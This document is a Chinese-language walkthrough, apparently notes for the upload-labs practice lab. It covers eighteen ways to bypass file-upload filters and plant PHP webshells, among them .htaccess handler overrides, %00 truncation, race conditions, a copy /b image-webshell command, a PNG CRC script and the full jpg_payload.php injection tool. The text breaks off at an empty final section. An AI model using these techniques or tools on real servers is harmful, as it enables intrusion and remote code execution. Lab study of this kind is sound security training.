文件上传的目的:上传代码文件让服务器执行(个人理解)。
文件上传的绕过脑图
一.js本地验证绕过
原理:本地的js,F12查看源代码发现是本地的验证
绕过姿势
1.因为属于本地的代码可以尝试修改,然后选择php文件发现上传成功。
2.采用burpsuite,先将文件的名称修改为jpg或png或gif,然后上传,burpsuite拦截将文件类型修改如图,发现能够上传成功
。
二.MIME验证绕过(Content-Type)
原理:Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
使用burpsuite拦截分别为jpg和php类型观察Content-Type发现Content-Type不同.
拓展:
破解方法:
在burpsuite中更改Content-Type进行绕过即可
三.黑名单绕过
原理:查看网站源代码发现过滤了asp,aspx,php,jsp,但其他的文件后缀可以上传,如phtml,phps,php5,pht
绕过姿势:将文件后缀名改为php5,phtml等,发现能够上传成功,此次没用过滤htaccess文件可以尝试上传。
拓展:此破解方案需要Apache的httpd.conf有如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
关于AddType指令
作用:在给定的文件拓展名与特定的内容类型之间建立映射(简单来说就是让phtml,phps,php5,pht等文件后缀的安装php代码来执行,个人理解)
语法:AddType MIME-type extension [extension] ...
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。
四..htaccess绕过
原理:.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用与此目录及其所有的子目录。
简单来说:就是htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
他的功能:网页301重定向,自定义404错误页面,改变文件拓展名(此处所用),允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能iis平台上不存在该文件,改文件默认开启,启用和关闭在httpd.conf文件中配置。
破解:构造.htaccess文件,文件内容,如图
SetHandler application/x-httpd-php
然后上传.htaccess文件和2.jpg的木马发现2.jpg被安装php代码执行然后用蚁剑连接,发现可以连接成功,如图
个人理解:通过对.htaccess的禁止目录列表理解运用给自己加了一个保护自己,防止开启phpstudy,其他人访问。
五.大小写绕过
原理:查看网站源代码发现没有过滤大小写,而windows对大小写不敏感,linux对大小写敏感
破解:修改文件拓展名称为大写,或者用burpsuiet抓包改为大写,发现上传成功,木马可以连接成功
六.空格绕过
原理:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。查看网站源代码发现过滤了大小写,没用过滤空格。
绕过姿势:上传php文件用burpsuite抓包,添加一个空发现上传成功。用蚁剑连接发现可以连接成功。如下图
七.点的绕过
原理:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,查看网站源码发现,没有过滤点。
绕过姿势:上传php代码,burpsuite抓包加一个点,发现上传成功,用蚁剑连接发现连接成功。
八.::$DATA绕过(此绕过只适用windows)
原理:php在windows的适合,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,目的就是不检查后最名。查看网站源代码。发现没有过滤::$DATA。
破解:上传php文件,用burpsuite抓吧文件后缀改为php::$DATA,发现上传成功,用蚁剑链接,发现连接成功,同时打开上传文件发现后缀没有::$DATA
九.点空格绕过
原理:查看源码发现,都过滤但是,点和空格只是过滤了1次,所以我们可以尝试构造.php. .这样就只是过滤了文件末尾的点
而没有过滤第一个点,文件后缀变成了.php.实现了文件的上传。
绕过姿势:上传php文件,burpsuite抓包改文件后缀名称为.php. .上传,发现上传成功,用蚁剑连接发现上传成功。
十.双写绕过
原理:查看源码发现,没有过滤点,空格,大写等,估计这种不是放在windows下的,这里可以用点大写空格:$DATA等绕过,不过这里的目的不是这个,是让学习双写绕过,看源码发现str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。
绕过姿势:上传文件后缀为pphphp的文件,发现上传成功,然后蚁剑连接就可以了,发现可以连接成功。
十一.%00截断
原理:查看源码发现使用了白名单,只允许jpg,png,gif文件的上传,所以前面使用的方法都不适用,然后我们发现路径img_path函数是让文件位置(save_path)加时间随机数(rand)的方法生成文件位置和文件名称,所以这里我们可以尝试在save_path的地方使用%00的方法截断后面的语句,burpsuite抓包发现,是可以更改save_path的,不过此方法有使用的限制。
使用限制:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断
绕过姿势:
(get传输):上传php文件,burpsuite抓包,修改save_path如图所示,发现上传成功,使用蚁剑连接发现连接成功。
(post传输):post传输和get传输差不多,不过需要转一下码如图,然后发送发现上传成功。
十二.图片木马
查看源码:采用白名单限制上传的只能是图片,故考虑图片木马。
图片木马的制作:
1. windows下cmd命名 Copy 1.jpg/b+shell.php/a shell.jpg
2.右键图片选择属性,详细信息,版权处加入木马,如图
3.16进制文本编译器
上传图片木马:上传成功后采用文件包含即可
十三.图马 getimagesize()
查看源码:
getimagesize()函数:
用于取得图像大小,如果指定的图像或其不是有效的图像,getimagesize()将返回false并产生一条E_WARNING级的错误
Image_type_to_extension()
用于取得图像类型的文件后缀
绕过方法: 上传图马木马即可
十四.图马 exif_imagetype()
查看源码:
exif_imagetype()函数:
用于判断一个图像的类型,正常则返回签名对应常量,否则返回false
绕过方法:上传图片木马即可
十五.图马 二次渲染
查看源码 对gif的过滤部分:发现gif图片被二次渲染
尝试上传gif(带有木马),并将上传
gif绕过:找到渲染前后没有变化的位置,然后将php木马写入即可,下载上传后的gif,发现木马上传成功
查看源码:对png的过滤部分 发现被二次渲染
尝试上传带有一句话木马的png图片,上传下载发现木马被渲染掉
绕过方法:
1.写入php代码到PLTE模块
PLTE模块:调色板PLTE数据块是辅助数据快,对于索引图像,调试板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
PLTE模块是辅助模块并不是每个png图片都有的,多找几个png图片
然后计算PLTE数据块的CRC
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
运行结果写入CRC模块
然后上传即可;注:CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。储存用来检测是否有错误的循环冗余码。参考https://xz.aliyun.com/t/2657
2.写入IDAT数据块
国外大佬脚本直接用
运行脚本生成1.png,发现木马 被写入
上传利用:文件包含
图片原理:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
木马原理:assert()会检查内部是否是字符串,如果是字符串,它将会被assert()当做php代码执行
查看源码 对jpg的过滤部分 发现对jpg图片进行二次渲染
绕过姿势:先随便上传一个1.jpg图片到服务器,将上传后的图片下载,用国外大佬脚本处理一下(并不是所有图片都能被脚本处理插入木马多试几个)
处理cmd命令:php 脚本名.php 1.jpg(需要安装php环境)
脚本被我改一下,发现大佬脚本不能用
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
十六.条件竞争
查看源码:发现上传的文件先被存储在服务器,然后进行判断,如果不是jpg png gif 则unlik()删掉,是的话重命名
绕过姿势:在判断删除前,进行访问,竞争时间
shell.php 如下,当然也可写其他木马或者生成木马的php文件,上传用burpsuite抓包,当然可以写脚本
绕后构造访问连接:http://127.0.0.1/upload-labs-master/upload/shell.php 用burpsuite抓包发送和上传一起开始 如何不行可以尝试线程调大点,或者写脚本
类似的也是先保存再重命名同样可以竞争 源码
十七../绕过
查看源码:
绕过姿势:
Pathinfo()会返回一个关联数组含有path的信息。例如:
save_name=1.php/.这样file_ext值为空绕过黑名单,而move_uploaded_file函数忽略文件后的./就可以实现保存文件为shell.php
注:网上看有用 save_name=1.php%00绕过的,虽然能上传成功但是保存的文件名是1.php%00你是没法利用的,看看原因好像是move_uploaded_file函数把save_name当做字符串来用的(目前感觉这个方法不行,可能操作有误)
十八.数组+./绕过
查看源码:分析如图
绕过姿势: